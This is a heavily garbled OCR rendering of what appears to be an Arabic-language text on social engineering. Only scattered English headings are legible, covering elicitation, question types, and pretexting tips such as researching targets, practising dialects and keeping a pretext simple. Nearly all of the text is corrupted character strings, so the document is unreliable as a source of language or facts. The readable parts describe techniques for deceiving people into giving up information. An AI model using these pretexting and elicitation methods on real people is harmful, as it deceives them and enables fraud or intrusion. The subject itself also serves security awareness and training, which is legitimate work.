U&li L— li£ ^3 (j^3 j 4^. jl l^a. j JjS (j-a (JlLlj ^aJ UjI L— Lia _^£J Jlill (jl <J^ Ai^-A^l £>i& Jc jj^^J] ^-S^ J ^W^j c ; 1 >J (j^ J 6 ^ <S T A 
^jJa j-d J t- $ \uiq"i ^jJa j j^i I^jj Aj^L^g dm ^>>i (jl J Cj^a. ^<l5^<JI J L_ u£ 1 ^ nj , CjUia jlLJl <Jj3 (jjj^ll J ^^J-* Jj'^^l 

,CjLja jlLJl Jc (jjjn> ^ill ^ J-<ilxj3l Aic. Jcl 

U&li L— lj£ jll A£jjoJ| (_^J lS-**^ ^ JJ* * ^-C- j-<^-<Jl J (JjjUII (jxi ^a.1 j (jl^ <C jj jj£l ^jJa jll cJ*-?^ J 6 15-^ 6 ^ ^- *J C '\ 

Jajstxi (>— Lia .^VjA Jju^I L- a jjoiS 2^J^J J jSi (jSl ^aJ tit AjI dlSjCj t^J^L^Jt Jl ^gjoijj jLi.^lj 1—La3 <CjjudJ .l^JUO ^Ldla.V 

^ i q£it ja. 4jjlaj (jc ( :< Lj 11 j CjI^j Aj^La aSI (jc jll ^jJaJ ^ia^JI US jj LdAic ,til3i 4ijx-<J 4^1^ J I jjj^J 1 g j >^ ^ 

^]\_^ JoilL ^lj ^J^J L>^J ' U.^ 1 ^ A ^ A> gaJ (jl 4_iC.Lala.Vt <jl^-<Jl (Jj^ Uj^J V (JjjUII (j-d (j^V 1 * a J^ LujLujI jA ^ ■ o^jI ja. 
<SUaJ iLiJl ^J^a C-Lau] (jjJ^Jjxi^l! <Jjudi3lj jA ^ A-^J ^ L>^ J '(Jl-^^^l I^A ^l^luil (j^J C flj£ (jc. ^U^l , J^-VI L_fljiall 

(jl^-Q J I^T >>i j ^aJ (jxi j 6<il3i Jc (jjWMl j tl^Jfl J^ill 6^lcV (j^3 j (_^J^.I Sjxi ^ JJ> J 1 t > >i jj <jLocl 
JSjsLxi S^c-lS pLodlj Clui (jl Asu (jVI .t^lUA Aiilll Sjjb J plaJl (_3^1miI j Aijx-<Jl (J^asu <j^3 (j^>^ uj£ ^^juJa jl J^ C— LjAaJl li^ <jl£ 
djl^jjuoll ^ - ^ (J£juaj (jiajlillll J^ 4_L^a^jua3t ^Jflja ^Jjfk <J f^^j ^ M 'lj ,J uj Jl t(_^j^.l 6jxi C-Luila 

p^^joi (_^l (jxi 4_xuiJ jj£I AijstxJl dAA CIajI^ ,L_fl^Jl 4^jjoJI J (jjLixj (jjill S^LoJt Ajc ^ > <a1 ^ j (jjJj ^Uu^l CLulS^ /dJjU^II gall 

4_La.j Jl Cj^I l^-jlj L^-Iaj (jl (j^x»J 

(Using the Effects of Alcohol) Jj»4» ^j^3 f l±kiu,l ^ 

(jxi (_^l Jalk . Jjka <fljja c <)mj» jxil I^A . JJ 1 ^lII (j* J^l olijoJl cJ^S ^C^ 1 ^ .^JC ( . ul£ll ^Kj] <JJ^i O^J l-^l-C- J ^llxi JJC. 

.10 ^ V 6 j1^l '^'^ ^ J J^^^ ^ <LLudll <joix^J| CjIa jJjllljaJl 

.^jV q ^ ^-^5 ^ jJ jl n Mill li^ c <j>^i j] <L Ja (JjJaal LaJJ 

^jcr lail (PRC) a^joJI (jj 1 ^1 ajjj^x^. J cj j^kJI * ^ Jia jJI (Jjj j>»VI (Jjj jl j;*^ o (jxi pUAJI jU^ a^.1 jsLuj 1980 J 

AjtjJaj (jl^j 4_i£jjxiVI Ajjjill 4_^JjojVI (jc CjLg jlx-<Jl (j>» AjljujIj 4ij*^» 4j^3 _(_^jji3l ^UiAjVI 
i jjjixj (jl ( . ia>j (jj^>1 <S ^t < - il .Ajjjill A ^ \ > >i VU Sjjuilixi AilxixJl (Jj> <a1 all! (jc AjI jlo cJ^^ CjUbaaall Jl jlj-dlajU (j^i^j (jl£ <j| VI 

^ > ^i^l j tAj^lill pU j^ill j jI^j^jVI J aIIoiVI (j-« AjAslIU (jjj^jj ^Jl L— 

jl uilujVI I jIAj .L-jIjjoi j ij^l ^xi Sj-g J£ J 4j J^kJj 4j3js«-<J A! I j'qq> j Al j^. I jt <l^J m Al LdJj^J (Jj^ cJ^- Jl 4j jC^ ^aJ dlS j J 
(jl^ 4J| ^aC jl\ Jc /oAjA^JI jA dU» ^aJ 4_ljjjJ jjill <Ljk3| J (jjjj^JC t^ajJJJjIlllj ^jJJJjJAII (jxi JIxJjujVI L_fljjJa Jlxi t 'a u JJ>»VI (jC 

.(jjjUllI Jaxj (jl JJ^S ;l_jjjoJI (j-d AjAxJI Asu (j^3j tAljliLlI 4_llajVI J IAi^. 
(jc CjL^jVI (jc L^jJalj l-^j^a U^f^ 1 ^ J U^^y^ J^ J^*-* J^ ^Ajlill 4-ajAc jAjj jll 4_^k3l oAA CIlujujj ^^.jVI Jc 

CjVj1-^<i Asu .Ajtxi 4.JU3I <La.jxJl Jl J jj^ jll Aijx-<JI oAA ^Ia^JjojIj Asu j^.1 ^aJlc Jj CjLg jIslxJI oAA Aklj l^jli .Ajjjill <^JjojVI 

m jLatxJl (jc A ^ > >il j ojjj^a cillxjj (jjjn> ^nll pUAJl (jl lAa. ^^.jxJI (jxifl 

<jojAi^JI J .l-jI jaJI (jc 4_^jjalj Sjjj^ L_jLaaj£l Jl (jl elicitation cJI ^Ia^jjujI <-iaj£ ^jja jj jll <llxiVI Iaa 

(j^akjuj (j-<» diUi jlx-<Jl (J^axj jjjj A3 .Aa.lj j (j>» Jl^ V A3 CjUL^-VI £J*^ <Jjou31j Igjuiij (jj^J ^ 4_iclxu^.VI 

4-u!a ^^Lua Ax^x> 
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. I^A ^»JAj 6<LL<Jl 4_A^a3l (j>» dlLa jlx-all (j-a JJ^-* LS^ 0 J jJ^a^Jl d)La jLlxJI &aA ^laALail ^aJ (j-aj 4(jJ*--a £&JjL} <J ^»AJ J^J J 

. elicita tion ^IjW* clA^ l>* ( J* > ^ uj^ ^ ^— ^ jj**-^! ^Ij-j^I ^Ijj ^>>> j 

(Using Intelligent Questions) 4-^1 4-iWtfl ^ till^t 

^»jIaj <j^aLaJI ^Jl La" "(J jlj ^j* Cy^j ^ j* > ^ ^-m^l (JjjJ ^*a elicitation (Jl Cy* L ( ♦ I ^ ^ 

jll 4_jja.VI (j-a <AjJal j 6Jjj^ pLL Jc acLaiJ l^jal j S,Jjli3l <LaJ,JC. jJJJ jll j dlLa jlx-aJl (j-a ft JJ» > *a ^laS Jc <J jj^aII L-flJ^Jl 

&11 s-Uac] Jc ^cLoaj ^jl (j£-aj CjLg jlx-<JI (j-a ^ Ija t^jjjlLaJl UK J .CjLAaVI ^Uj l_jL jLuixJI jl l^JI ^^Jtjmj 

_ J l fl*Jfrll Jl laa. LauJalj lajjia ^^Lal^-VI 

?lfr»hViml ( . aj Jll 3ilojVI ^ jj j& La ^— a^>*j (jl cili^j c aj£ 

.I^IjaLuiI c ^cU»l^.Vl (Jjj V^ a\\ (j^-aJ i flj£ j ja» <11ojVI jjV cJjj^j aJUII ^LoaSVI 

(Open-Ended Questions) 4±u«l 4. 

U Jj£ jl fJLJJ ^JaVI Jl JIjjuJI laA c£JjJ3 "?U 4Jjb ^ajJ ^a jjll" J j£i La.JJC ^lla .V jl ^xij 4_liuiVl (>a £ jjll IjA Jc^ ^JaVI (j£-aJ V 

Jc. t . AjLalajl jjjj jjuj li^i " jJI ^jjjikll ^ ^L^j L<»" JljjaJL CiaS jl qa2± ^ tJjUuJI ^L^jVI ^^£31 

> .oil (j! L— Ua /o^iaJl 4 jq^ > ^->ll jjjUjII 4_jojIjJ j cJ^laJ j j!lL<Jl <11ojV1 ^1.^1 ml ^^C-LalaVl (Jjj V^ a\\ ^jWM 6^a.l j <L^)ia 

.A-lsuLLa ^ J^J^\ ^\ jjX^ ^-L-al j-<J jliLall <J1ojV1 ^1.^1 ml t ; la>J AlaJl 
(jl (j^-aJ liLal jl ^-a JIjjoJI AjuLLa .(why llOW) L l^Lal ^I^JjujI ft j3 t * a j - c _^j31j 4_a. jliLaJl 4_SlajVl (j-a ^)a.I ( . ul a 

,(Jljjai3lj ^3 J3 lie * AlaJ La-a jj£1 jAuij (_^^J;J 

^11 j (pyramid approach) ^j^l fl'^""^ ^ 6 ^ j^JI ^ >^3I aIIojVI ^1 ^ "ml u^^^ J 

laa. ^jjj L— n£ lil _l_j1 jaJLujVl (j-a jU. .^1 ^jujjI (jUaj Jc 4_SlaiVI ^ L>^J a ' Q J L ^ <11ojVL l^fj ^^-31 £^ UJ^ 

. JliiaVl £-a l^al^kloaV A 6 ^ ^IxJJ jl 

t JSl Vj j5al V "ft^a." <jLa.VI Ig-L^J <-i jjoj "VjJI ^LoJjAxJl CajI£ ( t Jia 5a j^LaJl 5JluiVl c> ^jI><JI (> ^ 6 JLlaJl 

# (JjJaal cJ^^ ^— J La jlx-all ^ (JJ* ^ Jlj^ cillil 

jjaJl" :AjU13 ft^^a AjIaI ^ iaaa 4jIaVI U^J 1^ JjjJa l^A l^A CjU-JaLjll J UJ^^ 

J j- — Jl j 4L_fl^Jl ^51S11 till — Asuj c^jl 3Jlaj| Jl Lajb ^ jiill cili£ cilUA J-a . "?4aj ( flj£ .cilli 6j£j du£ 6ftl" 

_(J^_joj1 ^ u^nj La j-aC djLa ^ist-all ^j-a 

(Closed-Ended Questions) «4 

V (jLia.VI (j-a J .^J^ t * a ^^ ft^L}^ 1^ <!Ui aLjojj \ * j jULa <11ojVI (Jj^^C. Jc c _^A VqU ^11 4J1ujVI (jl t^jJal jll (jx» 

.CjVLal^VI (j-a (JJJJ I jl J^-lj (j-a jjSI ^-a AilsLxJl AiluiVI Jc 4jla.VI (j^-aJ 
"^ftJA JJJ-aJl J-a cilia^lc Ja" ^(jjli-a JIjjoj ^L^aJ (jl (ja-aJ (j£3 j "?tiljJJ-a ^-a tilia^lc La" ; jLaaJ (jl ^^all (ja-aJ ^ jliLa JIjjoj J 

.lJ^JI cJa^Sl ft^La ttillj (>a V^J ^Aili^Jl 3JluiVl c> cJ^Jl dboJ Sjlc ^ Ajjjj^afljll CjLa jlx-all 
AjjjojI (jjlLaaJ (jJ»-^ jLoa-a Jl ^•jL^ OJ^.^. I l^j .uL^-*^^ <J ^jJaLftll (j-a ^ill laA (jj>»JaJjaiJ (jj-aLa-xJlj (j^jlall (_^jiLa 

;(J : na3l laA (j-a £<^joi _4j^a.VI 5j^aj ^ajujj V cj^lj 1^ Aili^a 

II Ml 

"?<jUJl J dlLajoj JJjuJI CjjIj JA 4 jjjjJ 14 4iJ J" 

."AjjIj fau" 

"?cilli (jl£ c^j tf t J" 
"11:45". 

.CjUI aJjoiVl (j-a (jjiC jj jl Ja.1 jl JaflS ^ajujJ j l^a. Ailst-a <11ojVI ftiA J£ 

(Leading Questions) ^hL^V 1 

du£ ^3" tjjjkll laA (j-a ^^^joi .4_AaV! Jl ^J-aJj/ftjLujj ^-a 4_a. jji-a <llaj| Jl c^JjJ t^'qU a\\ j 4a jjLall 4_S1ojVI (j-a L_jj| ja. (jJJ ^aaJI 

cJia^SI Jxa. ^jjj iii^Vl (> ^jjll liA "?Cjj| (j£i jJl 423:45 J'j^ J j^j^ 14 J^ ^Jl ^ABC <^LJI J 
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cjI^VI Ai^*.*) jl^aVI c^^JI preloads U-^ .ajI*]] lS^-^ tjj^ o^j j."* ^ Aj^ajill aJ jajii Liajl 1 g j >isjj c-u^. 

^jiasu J^ij AjjL^jVI aIIujVI \$'* a (JaxU CjLa jlx-<Jl (j* al^Vl ^jjj.V^ a\\ ^ laxJ Aiti AjL^.VI L_ <JIjjoJI J CjLg jlx>Jl 

.(jffiJLaJl £>JlA £A <■ fl]l^j j| ^1 jj c_fl^l tilli ^su jLulJj -jMa^U 

^IS dii^ .(reconstructive memory) <^ jSlI s jSlill a_J diJj jb ^ 4u^J* yr^J^ f 2 ^' 1932 ^ J 

(JjajLi ^ ujVI (jl dutijU .^iAjoiI AjujI -^*J ^2 .Jf^l 6 ^JJ^ * 1 "* a ^ a^A (jc (jjjli^Jl (jl ^ La L_llla ^aJ Aj^aS ajLiklj 

<jl JJ^J .^^^joi V 1 g ^> ^ J J AS^J Aj^all J^i2 Jc- Ij^la l^l j Aa^J ^a] ui iAW^\ j A^jl^jja a j A^JfllflJ (JjAjujI Jc A > <aal| Jj^slL 

,U3 <Jjou31j ^--G jA La j Ujljjj^J (JjjLujI Jc 6j£lill (j-G J^J S^J^O Clll^G 6<llajVl cJ^j 

eyewitness JW* - * J SjjLj a^ ^ uj jlia jl cIiijI jJ! l_ic!>Ij3Ij 4_jjL^jV1 ^iloaVI <jjjU3! JIjjuj ^j£-<uJI < . uju^j 

^jc ui oj^li ajjI^jVI aIIujVI I^qI nn l J^lk ij* c'{\f\ \ S&j ^testimony 

jl^a A_L<i^ CjjIj Ja" aJIjjoj ^jc. ttilli ^ j .<! jl^j U£ V jl ^xij AjU.^U j^. j^auuJl liA j tAi^Jl ^ 1^1 j 

jj^xj Uiajl L_fl^A S^US A_iii£ ^aisu (j^J ^AjcUu^VI (Jjj 1^ all ^ Ajj^ obi (jj^J (jl (j^J ^^-^V^ A_S1ujVI a \ I^LujI Cll^Jl I^A ^jV 

(Assumptive Questions) A-i^aljjflVI %l±Ji\ ^ 
.(Assumptive Questions) <^ j^VI aJIujVi ^ jia ti^j^ c> t^tts tSlliaj lJ^JI jSj ^ jl jl£ lil U ^j^j 

(jl IajI ^5*^ V (Assumptive Questions) A_Lja!jjaVI aIIojVI A_icUu^.VI ^ ~ ikiLujj UiHc aj! Uji j& ^ tilUA 

aj! j A jqjq^ ^la jjti jia ajJ Uik^ (Assumptive Questions) j^VI aJIojVI ^ ^'i >> n jl a_^Ui^VI (Jjj^aII 
lJ^JI Jj^j ^ aj^a j djUjlx^ ^ (Assumptive Questions) j^VI aJIojVI ^I^IujI .aJLoiJI 

^jljll JUu^II (j* diUi jlx-a Jc J jj^iJl Clj^jl b] t^Luoll JUl<Jl 6^ ^sl!I JiA (jc ^.^^Jj V t V^ti (jl iaia ^JjJjoj bA j (jj£joJl 

^ jSSj (Assumptive Questions) ^f^ 3 ^ j^VI aIIojVI ^I^IojI < ^^^ o^lj a^Uu^ ^ jc^j dj jaJI ciua 

.< fl^JI ^paljjal Jc Ij^lS (j^l ^3 bl ^ 1 u o AjuH<JI luiij jl bA jL5j 

d^A ^ (J^IxjII ^J-a11 (j^-<^ t * a .^ tAjJaiklxi AjjI^)^. A_^.j^ ^Uaj ^jJJJjIillj ^ajJjJJjjJl (jV L^jji ^3lc (JIjjuaJ l—bai bl tJlluJl J^f^ J^ 
o^iLa j Ajjuo^c ^cjIHj ^ -C5 JJ^ J# ^JlC' (jSj ^aJ bl AjullxJl l_ixj^3I (j-a j Ajxj^a CjLg jlx-dJl (jj^J ^3 "?(JIx1ujVI ( . ilajJ ^l ^<JI 

.jjjUI! (> j^a jj£I I^jJ (Assumptive Questions) aj^Ij^VI aIi^Vi VijVi^i .taa. 
ULd " 4 J jSI jl ^a AjjJal jliaVI aJIujVI a I i^LujI Aic aJ > nj ^2^2 <-5^J UJ^^^ iiiHj ^ti ^jaila j-<J3 1 ^ > >n j^i ^jj ^31 ^LloiVI (j-^ 
.lii-j^a jjSj (jl Ail SjSfl ^ (o^l^U ^jL ^1) lJ^JI preloads uW^^ c> ^ jill bA "... JU3I JIjjuJI ^jll JjS 

V ><fc 5^ (jl JjLaij tA^L^U (j£j ^aJ JjVI AiJkll daV jl a <ill bl (Jjjjjjj V .CjIjI^xJI 6^A dl jIuj jl Ijj^juj (J^tIuij (jl (j^J 

J 6^A (jia^xJjajLaj .6jl^-<Jl (j^V ^jU^ill (J^axJ lilUA ttilli ^C-J 11 'iVi 

Elicitation Jl 

(_5 jiLobQ jj^*^ ^ ^ >f * 1 cl^ , ^ c ' ^5^Ua3I (jxi <c a Jc (_^j!i^j Elicitation ^ tAjcUu^VI a ui,v^\I c_ij| «th» ^ JiLd 

;Cj|jJjj-<Jl 6^A j^ii t^^UxJl 6^A Jc 6jUjuill Jc ^Vor.LaixJ .tiL A > *al ^ \\ djIjlg-xJl 
6 .c V^ll L_fllajj Jl (^^jJ ^ jjuj Jit j aJIojVI (j* cJjl ^ Vy^l ^-aj ^ jjuj I^jV .<■ V^ll I^A (J^C-I (j^3 l^a. SjJjSlI aJIojVI 

.A^ljlb jt.uij lJ^JI J*jaJ Jax2 (jl Ale (j£3j tjU (jl JjjI L_u£ .^IkxJlj ikVl ^A Aj^I^xJI 
dbou] l^jl ?C-L<u^a31 j AliLa Aj^L^a J t"i w j j| (ill (_^Jjoj Ja .^UjjVI (jj^stjaiJ L_fl^Jl Alloa Vl (j-« ^l^aJLml 

.Ajtlxui Aj^i Aj^I ^ a\\ i^i Jc ^J>iXJ (jl 1 1 1-> j .dilj^L^Jl J L_JC.|jj ^>ALa ciL (j^aLiJl L_fl^Jl (jl (jiajliij V ^Aia. 
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j& tila^A £>i& ^ <j£l j t^jJiJI Ji*JI buffer overflows ^s-^*^ lJ diia. .$aa.l jll SjaI! ^ iaaa aa.1 j JIjjuj JLuil 

.^Jg a jjiC. jl Ida. L-aJ^a. jJJJ ^jl (ja-aJ V cillij (»^33 .4_L^auuJl ^Ujj dlLa jlx-<Jl £-aa. J ^>^ .^—S-^Jl jj^?^ 

d]§ j ^ laa. j^Sail tlaa. lS^I <l^?> j^JI .(j^^l ujl j-^l j& ^ * ^ Elicitation Jl lUc- ci*^ tdi* ^ jS dua Lajj Laa 

.^Laj3l ^ til^jS JjSj L_fl jjoj la& (j-a aa.1 j t4jlia3l Lgj ^jjjJ taalj 

jl <JcLdl^.VI 4 ulYlgN <aj^]a]l £>i& ^OaJLaaJ L— u£ 1 31 .^jui&AxJl L_A&I j-<J| (^Jc Sjj-Huill (ildcLolJ (Jl £_£jlixJl (ja-ftJ ttilli £xi j 

e.l^a.VI ^ ^jJa t^uaVI j& j £as\\ (JjjIj ^^-Sc Ia jLiicU Ajjla-x* ^k jaa ;<U jl ^ a\\ aa^j ^§ 6(jjAi3l ^ <Jcli!i3l ^J*^ j^a-a 

/ajjuillxJl djUl^_i3l £jJa Ida. (JJ> j ^gJjjuall ^3^^ CS"^ J "S^Ia^II" 

^oaajujj La SjIc j L-fla^Jl l£}J ^\)} l5^^ Jj^^J ^aaJLaiJ SjIc j t flJfrll (AjjIc 4J1ujI) laa. SAiLa-a <llail ^^A 3 (j^^ 3 Cp" '^fJ 

aJIojI <xjJaJ Jl <JtaljVI (j-a j 64jjLa»xJl ^.UaxJl j aa.VI .aJIojVI £>d& ^laaJjaiL ^liaJl lP 3 *^ J '^-^ 4A^-aa3l J^^l (J^H 
<Slu>Vl Jl JtSjjVtj fSk U -bulla ^jJa jll jl£ lil ^aJ L-l^ij jl ^JjJ lLu^ ( fl>^J) jj] <lluaVI (J^asu ^l^klaalj i J-ftVI ^jJ l^j 

£A ^jUalill ^^ic Ij^lfl ^jj^Jj <C jjaiJ C flJ^JJ ^cl ^jjj,V^ a\\ ^^ic L_L^J .elicitOr AjjojLujI ftjl^-ft (jjjlil! ^ (Jj^al jlill 

cilii J£ lij ^Aj ^Elicitation Jl ^^31 ajU^VI t5 l& ^211 j iil^Vl ^ ^311 3j>^ /Ml 

.ElicitatiOIl ^ JJaflJ ^1 (^^JJ L_fl jjoj l^i ttiL Aj^aLaJI <A* ^ uJI Ja^j ^JjLLjj V aAIujVI cillj ^j.a^.j djI^aII 



Human-Based Social Engineering: Pretext 

Honesty is the key to a relationship. If you can fake that, you are in 

.pretexting ^'^^ Ujli t ^1 ^ . ^ 31 ^L^jV 
(j£J j 6Ajc.U»i^.VI 5-jojI^JI (S^l (j-<i IgjojLojl ^^ic L-flj > ^ajj c_a jjoj c _^i3l jl (jjljlj (JjjUII ^pretexting ^ 

6 u^j^V2;jfi5> ^Ulll c (background story) ^ pretexting Jl ^j*^ J^aj di^ .1^ ^^31 liA 

u .^^ uJI d J ja. ojjj^aj (ja-oj p^gjuj cJ^ J-*^ pretexting Jl ^^1 ^j^- cJ^^ * 

^i3l ci3 jUI A 

.^Uu^.1 ^ IL^j^aj jj£I jl£ UK 6 pretexting Jl <^^-^a 
(J\ iAft a) djjojVI ^^Jc ciua ,6jLja3l cjLal>iaiLujVI <^h^luil ^k zAjj tdijjljyi jj^-ia ^ ^aLkj ^pretexting Jl 

^glc JaaS (JjjJj ft^J^C CjI jloJ >^-aJ1 - 6j^a3l d3a a I laJLujl j (Jj-gjIj 4ij^lja3l j£j ^j) ^jjj uj ^1 (jj^J 

(jjj il^ a ^_juj|) Qjjoi^fLij (jjjj^)£ Jj^^ UJ^ ^ W^-^ L_fl^JI (jjaaa3 1 q ^*^ a 1 - ui (jj^j (jl jl Ijj^ <> ; ^ ^ <jcL<»la.VI ^ i » II 

^(j^aa-jaJl laA ^IslS ^J^aJ (jl (j£J j (J%*^ (jl (J^J (j-aa-juj jjJ L-JaJ (JjjJ pretexting Jl (j) ^ J^l 1^ <J J^ 1 (cg^^ 

^ (_3^jI ^jl J .AjjL^aa >'>i\l £>3& l^j j£j ^^131 ajuoaJl 4jl! 6^a!>l£3l Aij^)Ja t^^jouJl (Jj^Ja .1 g-aJj^aJ (jl jjjj ^^131 A-L^aa >'Ml ^2 4 t la9 j£ (jj^J C-Ua 
(jJlxuJl Jcli!i3 til3i3 j "^g > >ia ClA j ^ djaALjj La JjJail <j|" ^>s«-Jjj (JjjU3I (jli ^J^a SjaLuLq aic (jUa.VI (j-« ^gi .<LjdIa3l 

,4jliiaJl Ajj^xkjoJl (jc qjjij (ja^j V ^Jl 4_L^kJo3l £Ja*\ ^JjIjj c<9Aj 4_L^kJo3l ^JjLxUJ 

<Ja laA j IajIjjjIj (jj>»jlj (jjdJ^Ld J^>a-xi <j| (jj^xjujj ^Jl (j^Uua.VI (jJjuja%>Jl (j>» ajaxJl £a pretexting Jl ^1 ^aJLujI (jx* <SajauJl 
La Ajj^aa >*>i (Jj1xu3 tcillj^Ja ^k (jjaj Laaic ,^Jc AjIj aa. ^ pretexting Jl U^J J '^•^C'Laaj (jl (ja>»j (jjdj!>LJl (jl t^Ja > .P^gjuj 
^jJa j cilja^Qj ^aJ _laa. l^j jaj (jl JJjJ ^^131 <Jj^aa >'MI (jc <auJal j 6j^-a ^jJa j Ale L_laJ t^^clxua.! (Jjj.V^ 6(il33j ^L^33 _ (j-aC c a3laJ 
Jl (j-d L_lj| jaJl t^llS Jj^aill laA ^gJaijjuj .6jJa.VI CjUjixJII ^niaJ cilja aJ tljjia.1 .AjIcIL pretexting Jl ^1^1 ^ (j-^J ^i^aa-Jall ^IjV <Jaa. 

.^Ula.1 (jjjaj^a pretexting Jl ^ l^aiJ j^iUj ^ .pretexting Jl U JjI la±j Uzj^ diia. .pretexting 
, JUi jaj ^gJc pretexting Jl ^I-^^mI <^3I (j^> ^11 o^*-} ^ '^-^ J^j^ 'Ij^-' 
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^Pretexting Jl U 

.CjUIj^VI c>asu jjais jl c_iL» jIslxJI (jc ^Ija^U 3i^jjai>JI - ^all j^j^^ ^Jj-^^ ^1 (Jc- pretexting Jl ^—^^^ ^ 

.dlLi jl*_xJl <Jtij L_ic!>ljl3 Ajj^Jl ^llj ^»l.l^Jjall ^aJ '^,J^ ^Ujdjj jj^J (J I (j^J dlVl-^Jl (J^XJ J £4_J,j£ s-Ludj] ^J^-a j* JJ^I 

pretexting Jl .<J^ j* ^ ^ J^l j^' j Jl J (JjAjJI a-l^l^ JU^jV pretexting Jl ^lwi>nl aj^Ui^VI ^Si^l j£*j 
^^^juj ~£ ,4_ii^<JI 4jU^ cJ^-^- Aili^JI pretext Jl j* ^P*JI jo^* ( . 4_icLal^.VI (JjjA^xJI .^j*?^ 4-^^ 

/o^i^. pretext Jl <J*-?-j jl ^ * ^ *j * \^ II cjL» JjlxJI ^a^. ciAjjsj .cii^JI ^jlaui ^Ij 
4_iij^ax]| Aj^iill a^jJI ^l^f^. ^UlxkJI sdjU n^l .^uc-Lal^VI ^Lajii^JI jjc. ^j^-VI s^JI CjVI^ J ^-^1 pretext Jl ^'^ M1 J 
jl dir*. .pretext Jl Jl£^l j* cJ^> ^hvimV Jill CjVI^JI j t jv>fl»^l j jjy>U^JI j ^USaVI Ji^> j $(NLP) 
pretext Jl ^'^^ j ajcUu^VI j^ &3I jjj (jj^ll .diL» Jx>JI jc ^-Ija^U aju* jj^i!ij>» (JjAjJI J*j>j l£^I j^j^^ t3^J t 

.tg-La £ t Qj^'^i JaaS (JjjJj 13 Jl <j!axJ <Jj ^ uJI (J^J*J jl ( . La>J ;<_£j^.l oja t4_icLal^.VI j" all .4_n*_xJl L_fll^VI <^ l& jjc-j 

■W^j^ pretext ^ ^jl j& oj^iij ^jl ( . l^j 1^. tilUA .pretext ^ ^ ^ >»n CjULoi^. j 

Pretexting Jl J^-tj^j 

Jl (_^^Ux» (j-d 4^jla C _^L / allkj V pretexting ^ m '<a^A\ tilti ^.I^V cijI jiaaJi (J-^ ^ m ^ ^^U-<» tSjlg-x* ^ J^^' 
Lol^j ^^LixJI dIa 4L_flLjaj (j^j (jj^i.l tilLiA Lajj ^iaia ^5^Lix» Jl j^-VI cJ^- J £ ^ ikiLujI pretexting 

ipretexting ^ J*j+ 

.(The more research you do the better the chance of success) o-^j^ ^ C-iU^VI (> ^>JI J*ij 

.(Involving your own personal interests will increase success) Aj^L^JI CjUUuaVI ^llj^l 

.(Practice dialects or expressions) ^j^ 1 *^ y 4^jUJI CjU^SII 

I JSI <j| Uijl^l Jl jJ^I ^ I3I 

Many times social engineering effort can be reduced if the phone is viewed as less ) ^pl^VI <^^JI 3Jj.ila]| 
(important. But as a social engineer, using the phone should not reduce the effort put into the social engineering gig 
(The simpler the pretext the better the chance of success) o-^j^ ^ j ^ ^J >> 1 J pretext ^ 

Ujliii/U jsc j^ij ji Pretext ^ 

# L_fl^Jl I1a AjuHq J^lk jxi jl ^aUi^U ^-lliLajVI J;l3 jJ 

(The More Research You Do The Better The Chance Of Success) t 1 *^ J ^ j ^ ^ j ^ ^ 

.l^Jc cJ-^ pretext j^j^ 3 ^ c-H 3 ^)^ ^^l j ^^cLal^VI ^j" ^1] CjUj jlx-<JI j>» j^ ^ 4_^l^.U3I 4_icUu^.VI 

^xl^. Ale .QJJ^ > ^> dljl^ jl t *° ^ ♦ ^-W^J^ J^*^ ^ 4 .C3^)^^ iJ*-^ <^ ftjjij^lt (Jj> gal 9jll ULl^.1 

jl 4_L^kjaJl djlia^Jl ^I^JjujI .^'^^ c>5 J^kjaJl ^jUall dili L_lj| j^Jl jl jj^UxJI jl ^j^aj^kll Jl Jailli ;L_fl^Jl jc diUi jlx-<Jl 

.L^^JI l_jU j^J Lq^S ^iaj c *L^aLaJI ^LiilalxJl 

^^xJUJI SjLaall is^-^i cs^* ^ ^ .^^j^ uj^ ^^^l ^*JI cs^* pretexting Jl ^^*i>>n d_ u±k]| c _^cLdi^.VI ^^1 

^ i aijV Jl j>»VI ^-<^J (JjjUII ^icUu^VI jjjujAi^xJIj 4_i^lji3l j^ aj^xJI ^ laJL ul ^2001 j;^;'" 1 1 ^jj ^jj^j^ J 

Jl ^1 Jc diL C5^^J <»— ilc^)il]| ^a^-j (JjjUII JJ jjja^ t ^a^^•u^ jj) Jjjj£3VI ^^>^l (J^^JJ "S^JJ^JV^ 

jjcl ^I^VI jjui,V^ all j* ^J^xJl ^jJa j L— ^UjoiVI (JJ^ CllxS j 4 20 10 J C5^^ J c^> b > *' 1 ^ JjV^I '^ S H .^^JaatSt t ; llib (illj jxi 

AjJ±kj| CjI jq u'Ml ^ ^l j-<Jl j^JJ ^ .1 ^3 jjill (JjjUII jl Jl^^l -J^l^^l J^*^ ^^acj^ djj£j-dJ Jill £fj! j-<Jl Ajj^ljill j 

. JJ Jjj^^ll 6 j^J>l (jljl^.1 J 

marketing geniuses j Search engine optimization (SEO) . J^>*^ jl f^laVl ^? Uj^aj j5£l Jliu ^ 

<jj^ljill j LliaJl ^^cUu^-VI (Jjj V^ all ^ala C— Ll^ ^djlcLoJ jjjJaC. J £_L<^Jl Jl Jj^iS Aj3 ^ > <afl ^jJa ^ajflJ diaJl djl^j^xi 
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ufl^Jl jC- <ij l)-* ^0^1 J jiua J-a^j ^ jjL ^Loj^VI oil jl£ bxl£ 4JI jA si^l j 4Jalj J < us\\ 4JiaVI aifc j£ 

.Pretexting * J <UUJ q^jS cjjIj Ul£ 
(Involve Personal Interests to Increase Success) cjUU^VI &\j£A 4- 

.Jjuij ^aJ La jjJa j-a J cs - ^ <^"^ (J^akjuol! jxa ^J^l AijJlj J>»^ (jl a i£ aJ S-^Jj V .AjSI v Cjli ciljLj ( fl^frll 

^ia Ajj^^Ij <U jl^-<i jli 66^. Jc jj jjj^ '^'^ A j cJ^ j* ^ J^- '^J^ A l\l t^^cl <n^l (jjj.V^ ^ll<i 

JJJ^II (ila LaJ pretext 4_lLaC J ^ (j^aLkll ^UuAVI <*-)li ^ U.V^lj t ^<J| ^jJa .(Jjuoill Jl 1*JJjuj Ja jj^ a ^ *J dil£djuj 

^ujuj Jc) Ia jjc. jc Ai^x-<JI j^ t : pretexts lh* 3 ^ ^ ^ V^ti ^lA 3 ^ ^ <s ^ a55H 

A la^JudJ pretexts UJ^ ^^^^ l^JI ^ jj^a j>» C5^>^^ tlsuLd (jjSJ (^jjj lLl^U JjILj ^jI J^>\ 'cJ^^I 

L-jL 1^. ^xJl (j>» 4_icUu^.VI (jjJ.H^i .< ; uill jl ^al ^<JI (j>» J^la A^C- j!>Lk (j-d Ai^at-xJl C5 ic J jj^^JI (j-d (j£.<Lii (jl (^^i^Jj 

